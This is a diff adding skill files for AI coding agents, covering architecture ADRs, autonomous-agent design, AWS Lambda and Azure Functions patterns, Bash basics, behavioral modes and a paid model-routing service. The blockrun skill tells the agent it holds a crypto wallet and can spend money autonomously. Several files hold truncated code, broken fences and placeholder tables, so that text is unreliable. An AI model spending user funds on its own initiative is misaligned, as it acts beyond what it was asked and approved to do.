+| **REST** | Standard CRUD, resources | Real-time, complex queries | Low |
+| **GraphQL** | Flexible queries, multiple clients | Simple CRUD, caching needs | Medium |
+| **gRPC** | Internal services, performance | Public APIs, browser clients | Medium |
+| **WebSocket** | Real-time updates | Simple request/response | Medium |
+
+---
+
+## Simplicity Principle
+
+**"Start simple, add complexity only when proven necessary."**
+
+- You can always add patterns later
+- Removing complexity is MUCH harder than adding it
+- When in doubt, choose simpler option

skills/architecture/trade-off-analysis.md

@@ -0,0 +1,77 @@
+# Trade-off Analysis & ADR
+
+> Document every architectural decision with trade-offs.
+
+## Decision Framework
+
+For EACH architectural component, document:
+
+```markdown
+## Architecture Decision Record
+
+### Context
+- **Problem**: [What problem are we solving?]
+- **Constraints**: [Team size, scale, timeline, budget]
+
+### Options Considered
+
+| Option | Pros | Cons | Complexity | When Valid |
+|--------|------|------|------------|-----------|
+| Option A | Benefit 1 | Cost 1 | Low | [Conditions] |
+| Option B | Benefit 2 | Cost 2 | High | [Conditions] |
+
+### Decision
+**Chosen**: [Option B]
+
+### Rationale
+1. [Reason 1 - tied to constraints]
+2. [Reason 2 - tied to requirements]
+
+### Trade-offs Accepted
+- [What we're giving up]
+- [Why this is acceptable]
+
+### Consequences
+- **Positive**: [Benefits we gain]
+- **Negative**: [Costs/risks we accept]
+- **Mitigation**: [How we'll address negatives]
+
+### Revisit Trigger
+- [When to reconsider this decision]
+```
+
+## ADR Template
+
+```markdown
+# ADR-[XXX]: [Decision Title]
+
+## Status
+Proposed | Accepted | Deprecated | Superseded by [ADR-YYY]
+
+## Context
+[What problem? What constraints?]
+
+## Decision
+[What we chose - be specific]
+
+## Rationale
+[Why - tie to requirements and constraints]
+
+## Trade-offs
+[What we're giving up - be honest]
+
+## Consequences
+- **Positive**: [Benefits]
+- **Negative**: [Costs]
+- **Mitigation**: [How to address]
+```
+
+## ADR Storage
+
+```
+docs/
+└── architecture/
+    ├── adr-001-use-nextjs.md
+    ├── adr-002-postgresql-over-mongodb.md
+    └── adr-003-adopt-repository-pattern.md
+```

skills/autonomous-agents/SKILL.md

@@ -0,0 +1,68 @@
+---
+name: autonomous-agents
+description: "Autonomous agents are AI systems that can independently decompose goals, plan actions, execute tools, and self-correct without constant human guidance. The challenge isn't making them capable - it's making them reliable. Every extra decision multiplies failure probability.  This skill covers agent loops (ReAct, Plan-Execute), goal decomposition, reflection patterns, and production reliability. Key insight: compounding error rates kill autonomous agents. A 95% success rate per step drops to 60% b"
+source: vibeship-spawner-skills (Apache 2.0)
+---
+
+# Autonomous Agents
+
+You are an agent architect who has learned the hard lessons of autonomous AI.
+You've seen the gap between impressive demos and production disasters. You know
+that a 95% success rate per step means only 60% by step 10.
+
+Your core insight: Autonomy is earned, not granted. Start with heavily
+constrained agents that do one thing reliably. Add autonomy only as you prove
+reliability. The best agents look less impressive but work consistently.
+
+You push for guardrails before capabilities, logging befor
+
+## Capabilities
+
+- autonomous-agents
+- agent-loops
+- goal-decomposition
+- self-correction
+- reflection-patterns
+- react-pattern
+- plan-execute
+- agent-reliability
+- agent-guardrails
+
+## Patterns
+
+### ReAct Agent Loop
+
+Alternating reasoning and action steps
+
+### Plan-Execute Pattern
+
+Separate planning phase from execution
+
+### Reflection Pattern
+
+Self-evaluation and iterative improvement
+
+## Anti-Patterns
+
+### ❌ Unbounded Autonomy
+
+### ❌ Trusting Agent Outputs
+
+### ❌ General-Purpose Autonomy
+
+## ⚠️ Sharp Edges
+
+| Issue | Severity | Solution |
+|-------|----------|----------|
+| Issue | critical | ## Reduce step count |
+| Issue | critical | ## Set hard cost limits |
+| Issue | critical | ## Test at scale before production |
+| Issue | high | ## Validate against ground truth |
+| Issue | high | ## Build robust API clients |
+| Issue | high | ## Least privilege principle |
+| Issue | medium | ## Track context usage |
+| Issue | medium | ## Structured logging |
+
+## Related Skills
+
+Works well with: `agent-tool-builder`, `agent-memory-systems`, `multi-agent-orchestration`, `agent-evaluation`

skills/aws-penetration-testing/SKILL.md

@@ -1,6 +1,9 @@
 ---
 name: AWS Penetration Testing
 description: This skill should be used when the user asks to "pentest AWS", "test AWS security", "enumerate IAM", "exploit cloud infrastructure", "AWS privilege escalation", "S3 bucket testing", "metadata SSRF", "Lambda exploitation", or needs guidance on Amazon Web Services security assessment.
+metadata:
+  author: zebbern
+  version: "1.1"
 ---
 
 # AWS Penetration Testing

skills/aws-serverless/SKILL.md

@@ -0,0 +1,323 @@
+---
+name: aws-serverless
+description: "Specialized skill for building production-ready serverless applications on AWS. Covers Lambda functions, API Gateway, DynamoDB, SQS/SNS event-driven patterns, SAM/CDK deployment, and cold start optimization."
+source: vibeship-spawner-skills (Apache 2.0)
+---
+
+# AWS Serverless
+
+## Patterns
+
+### Lambda Handler Pattern
+
+Proper Lambda function structure with error handling
+
+**When to use**: ['Any Lambda function implementation', 'API handlers, event processors, scheduled tasks']
+
+```python
+```javascript
+// Node.js Lambda Handler
+// handler.js
+
+// Initialize outside handler (reused across invocations)
+const { DynamoDBClient } = require('@aws-sdk/client-dynamodb');
+const { DynamoDBDocumentClient, GetCommand } = require('@aws-sdk/lib-dynamodb');
+
+const client = new DynamoDBClient({});
+const docClient = DynamoDBDocumentClient.from(client);
+
+// Handler function
+exports.handler = async (event, context) => {
+  // Optional: Don't wait for event loop to clear (Node.js)
+  context.callbackWaitsForEmptyEventLoop = false;
+
+  try {
+    // Parse input based on event source
+    const body = typeof event.body === 'string'
+      ? JSON.parse(event.body)
+      : event.body;
+
+    // Business logic
+    const result = await processRequest(body);
+
+    // Return API Gateway compatible response
+    return {
+      statusCode: 200,
+      headers: {
+        'Content-Type': 'application/json',
+        'Access-Control-Allow-Origin': '*'
+      },
+      body: JSON.stringify(result)
+    };
+  } catch (error) {
+    console.error('Error:', JSON.stringify({
+      error: error.message,
+      stack: error.stack,
+      requestId: context.awsRequestId
+    }));
+
+    return {
+      statusCode: error.statusCode || 500,
+      headers: { 'Content-Type': 'application/json' },
+      body: JSON.stringify({
+        error: error.message || 'Internal server error'
+      })
+    };
+  }
+};
+
+async function processRequest(data) {
+  // Your business logic here
+  const result = await docClient.send(new GetCommand({
+    TableName: process.env.TABLE_NAME,
+    Key: { id: data.id }
+  }));
+  return result.Item;
+}
+```
+
+```python
+# Python Lambda Handler
+# handler.py
+
+import json
+import os
+import logging
+import boto3
+from botocore.exceptions import ClientError
+
+# Initialize outside handler (reused across invocations)
+logger = logging.getLogger()
+logger.setLevel(logging.INFO)
+
+dynamodb = boto3.resource('dynamodb')
+table = dynamodb.Table(os.environ['TABLE_NAME'])
+
+def handler(event, context):
+    try:
+        # Parse i
+```
+
+### API Gateway Integration Pattern
+
+REST API and HTTP API integration with Lambda
+
+**When to use**: ['Building REST APIs backed by Lambda', 'Need HTTP endpoints for functions']
+
+```javascript
+```yaml
+# template.yaml (SAM)
+AWSTemplateFormatVersion: '2010-09-09'
+Transform: AWS::Serverless-2016-10-31
+
+Globals:
+  Function:
+    Runtime: nodejs20.x
+    Timeout: 30
+    MemorySize: 256
+    Environment:
+      Variables:
+        TABLE_NAME: !Ref ItemsTable
+
+Resources:
+  # HTTP API (recommended for simple use cases)
+  HttpApi:
+    Type: AWS::Serverless::HttpApi
+    Properties:
+      StageName: prod
+      CorsConfiguration:
+        AllowOrigins:
+          - "*"
+        AllowMethods:
+          - GET
+          - POST
+          - DELETE
+        AllowHeaders:
+          - "*"
+
+  # Lambda Functions
+  GetItemFunction:
+    Type: AWS::Serverless::Function
+    Properties:
+      Handler: src/handlers/get.handler
+      Events:
+        GetItem:
+          Type: HttpApi
+          Properties:
+            ApiId: !Ref HttpApi
+            Path: /items/{id}
+            Method: GET
+      Policies:
+        - DynamoDBReadPolicy:
+            TableName: !Ref ItemsTable
+
+  CreateItemFunction:
+    Type: AWS::Serverless::Function
+    Properties:
+      Handler: src/handlers/create.handler
+      Events:
+        CreateItem:
+          Type: HttpApi
+          Properties:
+            ApiId: !Ref HttpApi
+            Path: /items
+            Method: POST
+      Policies:
+        - DynamoDBCrudPolicy:
+            TableName: !Ref ItemsTable
+
+  # DynamoDB Table
+  ItemsTable:
+    Type: AWS::DynamoDB::Table
+    Properties:
+      AttributeDefinitions:
+        - AttributeName: id
+          AttributeType: S
+      KeySchema:
+        - AttributeName: id
+          KeyType: HASH
+      BillingMode: PAY_PER_REQUEST
+
+Outputs:
+  ApiUrl:
+    Value: !Sub "https://${HttpApi}.execute-api.${AWS::Region}.amazonaws.com/prod"
+```
+
+```javascript
+// src/handlers/get.js
+const { getItem } = require('../lib/dynamodb');
+
+exports.handler = async (event) => {
+  const id = event.pathParameters?.id;
+
+  if (!id) {
+    return {
+      statusCode: 400,
+      body: JSON.stringify({ error: 'Missing id parameter' })
+    };
+  }
+
+  const item =
+```
+
+### Event-Driven SQS Pattern
+
+Lambda triggered by SQS for reliable async processing
+
+**When to use**: ['Decoupled, asynchronous processing', 'Need retry logic and DLQ', 'Processing messages in batches']
+
+```python
+```yaml
+# template.yaml
+Resources:
+  ProcessorFunction:
+    Type: AWS::Serverless::Function
+    Properties:
+      Handler: src/handlers/processor.handler
+      Events:
+        SQSEvent:
+          Type: SQS
+          Properties:
+            Queue: !GetAtt ProcessingQueue.Arn
+            BatchSize: 10
+            FunctionResponseTypes:
+              - ReportBatchItemFailures  # Partial batch failure handling
+
+  ProcessingQueue:
+    Type: AWS::SQS::Queue
+    Properties:
+      VisibilityTimeout: 180  # 6x Lambda timeout
+      RedrivePolicy:
+        deadLetterTargetArn: !GetAtt DeadLetterQueue.Arn
+        maxReceiveCount: 3
+
+  DeadLetterQueue:
+    Type: AWS::SQS::Queue
+    Properties:
+      MessageRetentionPeriod: 1209600  # 14 days
+```
+
+```javascript
+// src/handlers/processor.js
+exports.handler = async (event) => {
+  const batchItemFailures = [];
+
+  for (const record of event.Records) {
+    try {
+      const body = JSON.parse(record.body);
+      await processMessage(body);
+    } catch (error) {
+      console.error(`Failed to process message ${record.messageId}:`, error);
+      // Report this item as failed (will be retried)
+      batchItemFailures.push({
+        itemIdentifier: record.messageId
+      });
+    }
+  }
+
+  // Return failed items for retry
+  return { batchItemFailures };
+};
+
+async function processMessage(message) {
+  // Your processing logic
+  console.log('Processing:', message);
+
+  // Simulate work
+  await saveToDatabase(message);
+}
+```
+
+```python
+# Python version
+import json
+import logging
+
+logger = logging.getLogger()
+
+def handler(event, context):
+    batch_item_failures = []
+
+    for record in event['Records']:
+        try:
+            body = json.loads(record['body'])
+            process_message(body)
+        except Exception as e:
+            logger.error(f"Failed to process {record['messageId']}: {e}")
+            batch_item_failures.append({
+                'itemIdentifier': record['messageId']
+            })
+
+    return {'batchItemFailures': batch_ite
+```
+
+## Anti-Patterns
+
+### ❌ Monolithic Lambda
+
+**Why bad**: Large deployment packages cause slow cold starts.
+Hard to scale individual operations.
+Updates affect entire system.
+
+### ❌ Large Dependencies
+
+**Why bad**: Increases deployment package size.
+Slows down cold starts significantly.
+Most of SDK/library may be unused.
+
+### ❌ Synchronous Calls in VPC
+
+**Why bad**: VPC-attached Lambdas have ENI setup overhead.
+Blocking DNS lookups or connections worsen cold starts.
+
+## ⚠️ Sharp Edges
+
+| Issue | Severity | Solution |
+|-------|----------|----------|
+| Issue | high | ## Measure your INIT phase |
+| Issue | high | ## Set appropriate timeout |
+| Issue | high | ## Increase memory allocation |
+| Issue | medium | ## Verify VPC configuration |
+| Issue | medium | ## Tell Lambda not to wait for event loop |
+| Issue | medium | ## For large file uploads |
+| Issue | high | ## Use different buckets/prefixes |

skills/azure-functions/SKILL.md

@@ -0,0 +1,42 @@
+---
+name: azure-functions
+description: "Expert patterns for Azure Functions development including isolated worker model, Durable Functions orchestration, cold start optimization, and production patterns. Covers .NET, Python, and Node.js programming models. Use when: azure function, azure functions, durable functions, azure serverless, function app."
+source: vibeship-spawner-skills (Apache 2.0)
+---
+
+# Azure Functions
+
+## Patterns
+
+### Isolated Worker Model (.NET)
+
+Modern .NET execution model with process isolation
+
+### Node.js v4 Programming Model
+
+Modern code-centric approach for TypeScript/JavaScript
+
+### Python v2 Programming Model
+
+Decorator-based approach for Python functions
+
+## Anti-Patterns
+
+### ❌ Blocking Async Calls
+
+### ❌ New HttpClient Per Request
+
+### ❌ In-Process Model for New Projects
+
+## ⚠️ Sharp Edges
+
+| Issue | Severity | Solution |
+|-------|----------|----------|
+| Issue | high | ## Use async pattern with Durable Functions |
+| Issue | high | ## Use IHttpClientFactory (Recommended) |
+| Issue | high | ## Always use async/await |
+| Issue | medium | ## Configure maximum timeout (Consumption) |
+| Issue | high | ## Use isolated worker for new projects |
+| Issue | medium | ## Configure Application Insights properly |
+| Issue | medium | ## Check extension bundle (most common) |
+| Issue | medium | ## Add warmup trigger to initialize your code |

skills/bash-linux/SKILL.md

@@ -0,0 +1,199 @@
+---
+name: bash-linux
+description: Bash/Linux terminal patterns. Critical commands, piping, error handling, scripting. Use when working on macOS or Linux systems.
+allowed-tools: Read, Write, Edit, Glob, Grep, Bash
+---
+
+# Bash Linux Patterns
+
+> Essential patterns for Bash on Linux/macOS.
+
+---
+
+## 1. Operator Syntax
+
+### Chaining Commands
+
+| Operator | Meaning | Example |
+|----------|---------|---------|
+| `;` | Run sequentially | `cmd1; cmd2` |
+| `&&` | Run if previous succeeded | `npm install && npm run dev` |
+| `\|\|` | Run if previous failed | `npm test \|\| echo "Tests failed"` |
+| `\|` | Pipe output | `ls \| grep ".js"` |
+
+---
+
+## 2. File Operations
+
+### Essential Commands
+
+| Task | Command |
+|------|---------|
+| List all | `ls -la` |
+| Find files | `find . -name "*.js" -type f` |
+| File content | `cat file.txt` |
+| First N lines | `head -n 20 file.txt` |
+| Last N lines | `tail -n 20 file.txt` |
+| Follow log | `tail -f log.txt` |
+| Search in files | `grep -r "pattern" --include="*.js"` |
+| File size | `du -sh *` |
+| Disk usage | `df -h` |
+
+---
+
+## 3. Process Management
+
+| Task | Command |
+|------|---------|
+| List processes | `ps aux` |
+| Find by name | `ps aux \| grep node` |
+| Kill by PID | `kill -9 <PID>` |
+| Find port user | `lsof -i :3000` |
+| Kill port | `kill -9 $(lsof -t -i :3000)` |
+| Background | `npm run dev &` |
+| Jobs | `jobs -l` |
+| Bring to front | `fg %1` |
+
+---
+
+## 4. Text Processing
+
+### Core Tools
+
+| Tool | Purpose | Example |
+|------|---------|---------|
+| `grep` | Search | `grep -rn "TODO" src/` |
+| `sed` | Replace | `sed -i 's/old/new/g' file.txt` |
+| `awk` | Extract columns | `awk '{print $1}' file.txt` |
+| `cut` | Cut fields | `cut -d',' -f1 data.csv` |
+| `sort` | Sort lines | `sort -u file.txt` |
+| `uniq` | Unique lines | `sort file.txt \| uniq -c` |
+| `wc` | Count | `wc -l file.txt` |
+
+---
+
+## 5. Environment Variables
+
+| Task | Command |
+|------|---------|
+| View all | `env` or `printenv` |
+| View one | `echo $PATH` |
+| Set temporary | `export VAR="value"` |
+| Set in script | `VAR="value" command` |
+| Add to PATH | `export PATH="$PATH:/new/path"` |
+
+---
+
+## 6. Network
+
+| Task | Command |
+|------|---------|
+| Download | `curl -O https://example.com/file` |
+| API request | `curl -X GET https://api.example.com` |
+| POST JSON | `curl -X POST -H "Content-Type: application/json" -d '{"key":"value"}' URL` |
+| Check port | `nc -zv localhost 3000` |
+| Network info | `ifconfig` or `ip addr` |
+
+---
+
+## 7. Script Template
+
+```bash
+#!/bin/bash
+set -euo pipefail  # Exit on error, undefined var, pipe fail
+
+# Colors (optional)
+RED='\033[0;31m'
+GREEN='\033[0;32m'
+NC='\033[0m'
+
+# Script directory
+SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
+
+# Functions
+log_info() { echo -e "${GREEN}[INFO]${NC} $1"; }
+log_error() { echo -e "${RED}[ERROR]${NC} $1" >&2; }
+
+# Main
+main() {
+    log_info "Starting..."
+    # Your logic here
+    log_info "Done!"
+}
+
+main "$@"
+```
+
+---
+
+## 8. Common Patterns
+
+### Check if command exists
+
+```bash
+if command -v node &> /dev/null; then
+    echo "Node is installed"
+fi
+```
+
+### Default variable value
+
+```bash
+NAME=${1:-"default_value"}
+```
+
+### Read file line by line
+
+```bash
+while IFS= read -r line; do
+    echo "$line"
+done < file.txt
+```
+
+### Loop over files
+
+```bash
+for file in *.js; do
+    echo "Processing $file"
+done
+```
+
+---
+
+## 9. Differences from PowerShell
+
+| Task | PowerShell | Bash |
+|------|------------|------|
+| List files | `Get-ChildItem` | `ls -la` |
+| Find files | `Get-ChildItem -Recurse` | `find . -type f` |
+| Environment | `$env:VAR` | `$VAR` |
+| String concat | `"$a$b"` | `"$a$b"` (same) |
+| Null check | `if ($x)` | `if [ -n "$x" ]` |
+| Pipeline | Object-based | Text-based |
+
+---
+
+## 10. Error Handling
+
+### Set options
+
+```bash
+set -e          # Exit on error
+set -u          # Exit on undefined variable
+set -o pipefail # Exit on pipe failure
+set -x          # Debug: print commands
+```
+
+### Trap for cleanup
+
+```bash
+cleanup() {
+    echo "Cleaning up..."
+    rm -f /tmp/tempfile
+}
+trap cleanup EXIT
+```
+
+---
+
+> **Remember:** Bash is text-based. Use `&&` for success chains, `set -e` for safety, and quote your variables!

skills/behavioral-modes/SKILL.md

@@ -0,0 +1,242 @@
+---
+name: behavioral-modes
+description: AI operational modes (brainstorm, implement, debug, review, teach, ship, orchestrate). Use to adapt behavior based on task type.
+allowed-tools: Read, Glob, Grep
+---
+
+# Behavioral Modes - Adaptive AI Operating Modes
+
+## Purpose
+This skill defines distinct behavioral modes that optimize AI performance for specific tasks. Modes change how the AI approaches problems, communicates, and prioritizes.
+
+---
+
+## Available Modes
+
+### 1. 🧠 BRAINSTORM Mode
+
+**When to use:** Early project planning, feature ideation, architecture decisions
+
+**Behavior:**
+- Ask clarifying questions before assumptions
+- Offer multiple alternatives (at least 3)
+- Think divergently - explore unconventional solutions
+- No code yet - focus on ideas and options
+- Use visual diagrams (mermaid) to explain concepts
+
+**Output style:**
+```
+"Let's explore this together. Here are some approaches:
+
+Option A: [description]
+  ✅ Pros: ...
+  ❌ Cons: ...
+
+Option B: [description]
+  ✅ Pros: ...
+  ❌ Cons: ...
+
+What resonates with you? Or should we explore a different direction?"
+```
+
+---
+
+### 2. ⚡ IMPLEMENT Mode
+
+**When to use:** Writing code, building features, executing plans
+
+**Behavior:**
+- **CRITICAL: Use `clean-code` skill standards** - concise, direct, no verbose explanations
+- Fast execution - minimize questions
+- Use established patterns and best practices
+- Write complete, production-ready code
+- Include error handling and edge cases
+- **NO tutorial-style explanations** - just code
+- **NO unnecessary comments** - let code self-document
+- **NO over-engineering** - solve the problem directly
+- **NO RUSHING** - Quality > Speed. Read ALL references before coding.
+
+**Output style:**
+```
+[Code block]
+
+[Brief summary, max 1-2 sentences]
+```
+
+**NOT:**
+```
+"Building [feature]...
+
+✓ Created [file1]
+✓ Created [file2]
+✓ Updated [file3]
+
+[long explanation]
+
+Run `npm run dev` to test."
+```
+
+---
+
+### 3. 🔍 DEBUG Mode
+
+**When to use:** Fixing bugs, troubleshooting errors, investigating issues
+
+**Behavior:**
+- Ask for error messages and reproduction steps
+- Think systematically - check logs, trace data flow
+- Form hypothesis → test → verify
+- Explain the root cause, not just the fix
+- Prevent future occurrences
+
+**Output style:**
+```
+"Investigating...
+
+🔍 Symptom: [what's happening]
+🎯 Root cause: [why it's happening]
+✅ Fix: [the solution]
+🛡️ Prevention: [how to avoid in future]
+```
+
+---
+
+### 4. 📋 REVIEW Mode
+
+**When to use:** Code review, architecture review, security audit
+
+**Behavior:**
+- Be thorough but constructive
+- Categorize by severity (Critical/High/Medium/Low)
+- Explain the "why" behind suggestions
+- Offer improved code examples
+- Acknowledge what's done well
+
+**Output style:**
+```
+## Code Review: [file/feature]
+
+### 🔴 Critical
+- [issue with explanation]
+
+### 🟠 Improvements
+- [suggestion with example]
+
+### 🟢 Good
+- [positive observation]
+```
+
+---
+
+### 5. 📚 TEACH Mode
+
+**When to use:** Explaining concepts, documentation, onboarding
+
+**Behavior:**
+- Explain from fundamentals
+- Use analogies and examples
+- Progress from simple to complex
+- Include practical exercises
+- Check understanding
+
+**Output style:**
+```
+## Understanding [Concept]
+
+### What is it?
+[Simple explanation with analogy]
+
+### How it works
+[Technical explanation with diagram]
+
+### Example
+[Code example with comments]
+
+### Try it yourself
+[Exercise or task]
+```
+
+---
+
+### 6. 🚀 SHIP Mode
+
+**When to use:** Production deployment, final polish, release preparation
+
+**Behavior:**
+- Focus on stability over features
+- Check for missing error handling
+- Verify environment configs
+- Run all tests
+- Create deployment checklist
+
+**Output style:**
+```
+## Pre-Ship Checklist
+
+### ✅ Code Quality
+- [ ] No TypeScript errors
+- [ ] ESLint passing
+- [ ] All tests passing
+
+### ✅ Security
+- [ ] No exposed secrets
+- [ ] Input validation complete
+
+### ✅ Performance
+- [ ] Bundle size acceptable
+- [ ] No console.logs
+
+### 🚀 Ready to deploy
+```
+
+---
+
+## Mode Detection
+
+The AI should automatically detect the appropriate mode based on:
+
+| Trigger | Mode |
+|---------|------|
+| "what if", "ideas", "options" | BRAINSTORM |
+| "build", "create", "add" | IMPLEMENT |
+| "not working", "error", "bug" | DEBUG |
+| "review", "check", "audit" | REVIEW |
+| "explain", "how does", "learn" | TEACH |
+| "deploy", "release", "production" | SHIP |
+
+---
+
+## Multi-Agent Collaboration Patterns (2025)
+
+Modern architectures optimized for agent-to-agent collaboration:
+
+### 1. 🔭 EXPLORE Mode
+**Role:** Discovery and Analysis (Explorer Agent)
+**Behavior:** Socratic questioning, deep-dive code reading, dependency mapping.
+**Output:** `discovery-report.json`, architectural visualization.
+
+### 2. 🗺️ PLAN-EXECUTE-CRITIC (PEC)
+Cyclic mode transitions for high-complexity tasks:
+1. **Planner:** Decomposes the task into atomic steps (`task.md`).
+2. **Executor:** Performs the actual coding (`IMPLEMENT`).
+3. **Critic:** Reviews the code, performs security and performance checks (`REVIEW`).
+
+### 3. 🧠 MENTAL MODEL SYNC
+Behavior for creating and loading "Mental Model" summaries to preserve context between sessions.
+
+---
+
+## Combining Modes
+
+---
+
+## Manual Mode Switching
+
+Users can explicitly request a mode:
+
+```
+/brainstorm new feature ideas
+/implement the user profile page
+/debug why login fails
+/review this pull request
+```

skills/blockrun/SKILL.md

@@ -0,0 +1,292 @@
+---
+name: blockrun
+description: Use when user needs capabilities Claude lacks (image generation, real-time X/Twitter data) or explicitly requests external models ("blockrun", "use grok", "use gpt", "dall-e", "deepseek")
+allowed-tools: Read, Bash(python:*), Bash(python3:*), Bash(pip:*), Bash(source:*)
+---
+
+# BlockRun
+
+**BlockRun works with Claude Code and Google Antigravity.**
+
+You can't generate images. You have no real-time X/Twitter access. BlockRun gives you these capabilities.
+
+## Philosophy
+
+You have a wallet. When you need a capability you lack, you pay for it autonomously.
+
+| You Need | You Call | Pricing |
+|----------|----------|---------|
+| Image generation | DALL-E | $0.04/image |
+| Real-time X data | Grok + Live Search | $0.025/source |
+| Second opinion | GPT-5.2 | $1.75/M input, $14/M output |
+| Cheaper processing | DeepSeek | $0.14/M input, $0.28/M output |
+
+**How it works:** BlockRun uses x402 micropayments to route your requests to OpenAI, xAI, Google, and other providers. No API keys needed - your wallet pays per token.
+
+## Budget Control (Optional)
+
+If the user specifies a budget (e.g., "use at most $1"), track spending and stop when budget is reached:
+
+```python
+from blockrun_llm import setup_agent_wallet
+
+client = setup_agent_wallet()
+budget = 1.0  # User's budget
+
+# Before each call, check if within budget
+spending = client.get_spending()
+if spending['total_usd'] >= budget:
+    print(f"Budget reached: ${spending['total_usd']:.4f} spent")
+    # Stop making calls
+else:
+    response = client.chat("openai/gpt-5.2", "Hello!")
+
+# At the end, report spending
+spending = client.get_spending()
+print(f"💰 Total spent: ${spending['total_usd']:.4f} across {spending['calls']} calls")
+```
+
+## When to Use
+
+| Trigger | Your Action |
+|---------|-------------|
+| User explicitly requests ("blockrun second opinion with GPT on...", "use grok to check...", "generate image with dall-e") | Execute via BlockRun |
+| User needs something you can't do (images, live X data) | Suggest BlockRun, wait for confirmation |
+| You can handle the task fine | Do it yourself, don't mention BlockRun |
+
+## Example User Prompts
+
+Users will say things like:
+
+| User Says | What You Do |
+|-----------|-------------|
+| "blockrun generate an image of a sunset" | Call DALL-E via ImageClient |
+| "use grok to check what's trending on X" | Call Grok with `search=True` |
+| "blockrun GPT review this code" | Call GPT-5.2 via LLMClient |
+| "what's the latest news about AI agents?" | Suggest Grok (you lack real-time data) |
+| "generate a logo for my startup" | Suggest DALL-E (you can't generate images) |
+| "blockrun check my balance" | Show wallet balance via `get_balance()` |
+| "blockrun deepseek summarize this file" | Call DeepSeek for cost savings |
+
+## Wallet & Balance
+
+Use `setup_agent_wallet()` to auto-create a wallet and get a client. This shows the QR code and welcome message on first use.
+
+**Initialize client (always start with this):**
+```python
+from blockrun_llm import setup_agent_wallet
+
+client = setup_agent_wallet()  # Auto-creates wallet, shows QR if new
+```
+
+**Check balance (when user asks "show balance", "check wallet", etc.):**
+```python
+balance = client.get_balance()  # On-chain USDC balance
+print(f"Balance: ${balance:.2f} USDC")
+print(f"Wallet: {client.get_wallet_address()}")
+```
+
+**Show QR code for funding:**
+```python
+from blockrun_llm import generate_wallet_qr_ascii, get_wallet_address
+
+# ASCII QR for terminal display
+print(generate_wallet_qr_ascii(get_wallet_address()))
+```
+
+## SDK Usage
+
+**Prerequisite:** Install the SDK with `pip install blockrun-llm`
+
+### Basic Chat
+```python
+from blockrun_llm import setup_agent_wallet
+
+client = setup_agent_wallet()  # Auto-creates wallet if needed
+response = client.chat("openai/gpt-5.2", "What is 2+2?")
+print(response)
+
+# Check spending
+spending = client.get_spending()
+print(f"Spent ${spending['total_usd']:.4f}")
+```
+
+### Real-time X/Twitter Search (xAI Live Search)
+
+**IMPORTANT:** For real-time X/Twitter data, you MUST enable Live Search with `search=True` or `search_parameters`.
+
+```python
+from blockrun_llm import setup_agent_wallet
+
+client = setup_agent_wallet()
+
+# Simple: Enable live search with search=True
+response = client.chat(
+    "xai/grok-3",
+    "What are the latest posts from @blockrunai on X?",
+    search=True  # Enables real-time X/Twitter search
+)
+print(response)
+```
+
+### Advanced X Search with Filters
+
+```python
+from blockrun_llm import setup_agent_wallet
+
+client = setup_agent_wallet()
+
+response = client.chat(
+    "xai/grok-3",
+    "Analyze @blockrunai's recent content and engagement",
+    search_parameters={
+        "mode": "on",
+        "sources": [
+            {
+                "type": "x",
+                "included_x_handles": ["blockrunai"],
+                "post_favorite_count": 5
+            }
+        ],
+        "max_search_results": 20,
+        "return_citations": True
+    }
+)
+print(response)
+```
+
+### Image Generation
+```python
+from blockrun_llm import ImageClient
+
+client = ImageClient()
+result = client.generate("A cute cat wearing a space helmet")
+print(result.data[0].url)
+```
+
+## xAI Live Search Reference
+
+Live Search is xAI's real-time data API. Cost: **$0.025 per source** (default 10 sources = ~$0.26).
+
+To reduce costs, set `max_search_results` to a lower value:
+```python
+# Only use 5 sources (~$0.13)
+response = client.chat("xai/grok-3", "What's trending?",
+    search_parameters={"mode": "on", "max_search_results": 5})
+```
+
+### Search Parameters
+
+| Parameter | Type | Default | Description |
+|-----------|------|---------|-------------|
+| `mode` | string | "auto" | "off", "auto", or "on" |
+| `sources` | array | web,news,x | Data sources to query |
+| `return_citations` | bool | true | Include source URLs |
+| `from_date` | string | - | Start date (YYYY-MM-DD) |
+| `to_date` | string | - | End date (YYYY-MM-DD) |
+| `max_search_results` | int | 10 | Max sources to return (customize to control cost) |
+
+### Source Types
+
+**X/Twitter Source:**
+```python
+{
+    "type": "x",
+    "included_x_handles": ["handle1", "handle2"],  # Max 10
+    "excluded_x_handles": ["spam_account"],        # Max 10
+    "post_favorite_count": 100,  # Min likes threshold
+    "post_view_count": 1000      # Min views threshold
+}
+```
+
+**Web Source:**
+```python
+{
+    "type": "web",
+    "country": "US",  # ISO alpha-2 code
+    "allowed_websites": ["example.com"],  # Max 5
+    "safe_search": True
+}
+```
+
+**News Source:**
+```python
+{
+    "type": "news",
+    "country": "US",
+    "excluded_websites": ["tabloid.com"]  # Max 5
+}
+```
+
+## Available Models
+
+| Model | Best For | Pricing |
+|-------|----------|---------|
+| `openai/gpt-5.2` | Second opinions, code review, general | $1.75/M in, $14/M out |
+| `openai/gpt-5-mini` | Cost-optimized reasoning | $0.30/M in, $1.20/M out |
+| `openai/o4-mini` | Latest efficient reasoning | $1.10/M in, $4.40/M out |
+| `openai/o3` | Advanced reasoning, complex problems | $10/M in, $40/M out |
+| `xai/grok-3` | Real-time X/Twitter data | $3/M + $0.025/source |
+| `deepseek/deepseek-chat` | Simple tasks, bulk processing | $0.14/M in, $0.28/M out |
+| `google/gemini-2.5-flash` | Very long documents, fast | $0.15/M in, $0.60/M out |
+| `openai/dall-e-3` | Photorealistic images | $0.04/image |
+| `google/nano-banana` | Fast, artistic images | $0.01/image |
+
+*M = million tokens. Actual cost depends on your prompt and response length.*
+
+## Cost Reference
+
+All LLM costs are per million tokens (M = 1,000,000 tokens).
+
+| Model | Input | Output |
+|-------|-------|--------|
+| GPT-5.2 | $1.75/M | $14.00/M |
+| GPT-5-mini | $0.30/M | $1.20/M |
+| Grok-3 (no search) | $3.00/M | $15.00/M |
+| DeepSeek | $0.14/M | $0.28/M |
+
+| Fixed Cost Actions | |
+|-------|--------|
+| Grok Live Search | $0.025/source (default 10 = $0.25) |
+| DALL-E image | $0.04/image |
+| Nano Banana image | $0.01/image |
+
+**Typical costs:** A 500-word prompt (~750 tokens) to GPT-5.2 costs ~$0.001 input. A 1000-word response (~1500 tokens) costs ~$0.02 output.
+
+## Setup & Funding
+
+**Wallet location:** `$HOME/.blockrun/.session` (e.g., `/Users/username/.blockrun/.session`)
+
+**First-time setup:**
+1. Wallet auto-creates when `setup_agent_wallet()` is called
+2. Check wallet and balance:
